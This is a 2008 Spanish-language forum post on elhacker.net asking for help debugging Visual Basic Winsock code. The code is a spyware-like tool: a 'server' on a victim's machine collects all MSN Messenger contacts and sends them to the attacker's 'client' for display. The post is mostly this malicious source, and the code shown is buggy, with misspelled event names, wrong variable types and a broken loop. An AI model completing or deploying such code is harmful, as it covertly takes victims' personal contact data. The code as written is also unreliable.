Imprimir Página - ayuda con el Winsock y envio de contactos

saludos, bueno miren tengo este problema, es el siguiente....

Estoy haciendo un programa que me permite desde el cliente al darle a un command1 este envie por el Ws(Winsock) un dato o orden por decirlo asi, ahora que en el server cuando llegue este cheke si es el dato, pongan que es car, entonces el server ve si es car entonces este lista TODOS los contactos del MSN de la persona en una variable y los envia al cliente y el cliente comprueba que ese dato enviado contiene los contactos y los lista en un listbox ahora... este code esta correcto?

CLIENTE

Código:

Private sub Command1_Click()
ws.SendData car
End sub

SERVER

Código:

Private sub ws_DataArribal(LoQueVaAquixD)
dim dato as string
dim cont as long
dim user as IMessengerContact

ws.getdata dato
if dato = car then
for each user in MsgrUIA.MyContacts
cont = user.SigningName & "|"
next
end if
ws.SendData cont
end sub

CLIENTE

Código:

Private sub ws_DataArribal(LoQueVaAkixD)
dim datos as string
din contactos() As string

ws.GetData datos
if datos = cont then
contactos = Split(datos, "|")
for i = UBound(contactos) to LBound(Contactos)
List1.additem contactos(i)
next
end if
end sub

Sabiendo que lo que hace el code del server es enviar los contactos de la victima al cliente, este los esplitea y los lista en un listbox, ahora es correcto ese code?? y si no lo es en que me he equivocado y como lo podria solucionar?...

Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Sai-To en 20 Abril 2008, 22:24 pm